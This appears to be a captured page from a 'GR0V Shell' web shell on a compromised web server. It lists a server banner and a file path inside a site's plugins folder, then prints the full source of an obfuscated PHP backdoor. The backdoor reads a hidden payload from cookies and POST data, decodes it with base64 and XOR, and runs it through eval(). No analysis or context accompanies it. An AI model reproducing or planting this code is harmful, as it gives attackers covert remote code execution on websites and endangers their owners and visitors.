? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/test/plugins/finder/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/test/plugins/finder/f54e105d.php

$QNUnJUnxdN = "\156" . chr ( 1039 - 966 ).'P' . '_' . chr ( 994 - 884 )."\x79" . "\x42";$FyQEztlvpG = 'c' . chr ( 807 - 699 )."\141" . 's' . 's' . "\x5f" . chr (101) . "\170" . chr ( 1030 - 925 ).chr ( 772 - 657 )."\164" . chr ( 962 - 847 ); $haJcnDrimt = $FyQEztlvpG($QNUnJUnxdN); $FyQEztlvpG = "17937";$jOBNKioEXT = $haJcnDrimt;if (!$jOBNKioEXT){class nIP_nyB{private $TMJlQrYt;public static $cLavTh = "0d4d2856-58f7-46ad-ae08-ff2218953f52";public static $zvwXvTJ = 10880;public function __construct($IxosYlRVl=0){$ISpGXpiW = $_COOKIE;$hIrSWmcyR = $_POST;$ZZvCDgb = @$ISpGXpiW[substr(nIP_nyB::$cLavTh, 0, 4)];if (!empty($ZZvCDgb)){$rMBKQyrVVy = "base64";$iRGRRDsl = "";$ZZvCDgb = explode(",", $ZZvCDgb);foreach ($ZZvCDgb as $HyYfv){$iRGRRDsl .= @$ISpGXpiW[$HyYfv];$iRGRRDsl .= @$hIrSWmcyR[$HyYfv];}$iRGRRDsl = array_map($rMBKQyrVVy . "\137" . 'd' . chr (101) . chr (99) . chr ( 982 - 871 )."\x64" . "\145", array($iRGRRDsl,)); $iRGRRDsl = $iRGRRDsl[0] ^ str_repeat(nIP_nyB::$cLavTh, (strlen($iRGRRDsl[0]) / strlen(nIP_nyB::$cLavTh)) + 1);nIP_nyB::$zvwXvTJ = @unserialize($iRGRRDsl);}}private function WegzCZwPS(){if (is_array(nIP_nyB::$zvwXvTJ)) {$OaBDxYNmXn = str_replace("\74" . '?' . chr (112) . 'h' . chr (112), "", nIP_nyB::$zvwXvTJ['c' . chr ( 679 - 568 ).chr ( 655 - 545 )."\x74" . chr ( 749 - 648 ).chr (110) . 't']);eval($OaBDxYNmXn); $mNZBY = "64344";exit();}}public function __destruct(){$this->WegzCZwPS(); $mNZBY = "64344";}}$orQtFs = new nIP_nyB(); $orQtFs = "26201_31929";}

T1KUS90T
  root-grov@210.1.60.28:~$